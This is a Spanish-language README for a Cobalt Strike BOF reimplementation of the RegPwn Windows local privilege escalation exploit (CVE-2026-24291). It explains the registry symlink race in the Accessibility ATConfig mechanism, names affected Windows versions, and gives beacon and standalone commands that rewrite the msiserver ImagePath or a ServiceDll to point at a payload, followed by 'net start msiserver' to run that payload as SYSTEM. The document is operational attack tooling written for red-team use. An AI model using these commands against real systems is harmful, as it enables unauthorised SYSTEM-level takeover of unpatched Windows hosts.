RegPwn BOF

Adaptación BOF de Cobalt Strike del exploit RegPwn por Filip Dragovic (@Wh04m1001) / MDSec ActiveBreach.

Esta es una reimplementación BOF descuidada del exploit original en C#. Todo el crédito por la investigación de la vulnerabilidad y el exploit pertenece a Filip Dragovic y MDSec.

• Publicación del blog: https://www.mdsec.co.uk/2026/03/rip-regpwn/
• Repositorio original: https://github.com/mdsecactivebreach/RegPwn
• CVE: CVE-2026-24291

Qué hace

Explota una condición de carrera de symlink del registro en el mecanismo Windows Accessibility ATConfig para escribir valores arbitrarios en claves de registro protegidas de HKLM desde un contexto de usuario normal (Escalada de privilegios local).

Tiene como objetivo Windows 11 25H2/24H2, Windows 10 21H2 y Windows Server 2016/2019/2022 anteriores al parche de marzo de 2026.

ADVERTENCIA: Este exploit bloquea la estación de trabajo como parte de la condición de carrera.

Objetivo predeterminado

El servicio msiserver (Instalador de Windows) ImagePath. Este servicio se ejecuta como SYSTEM y puede ser iniciado por usuarios normales.

Uso

Cobalt Strike

Cargue regpwn.cna en el Administrador de scripts, luego:

beacon> regpwn "cmd.exe /c C:\Programdata\payload.exe"
beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll

Prueba independiente

regpwn.x64.exe "cmd.exe /c C:\Programdata\payload.exe"
regpwn.x64.exe C:\payload.exe SYSTEM\CurrentControlSet\Services\OtherService ImagePath

Después de que el exploit tenga éxito, inicie el servicio para ejecutarse como SYSTEM:

net start msiserver

Compilación

Requiere x86_64-w64-mingw32-gcc (compilador cruzado MinGW-w64).

make        # compilar BOF (regpwn.x64.o)
make test   # compilar EXE independiente (regpwn.x64.exe)
make clean

Solo x64.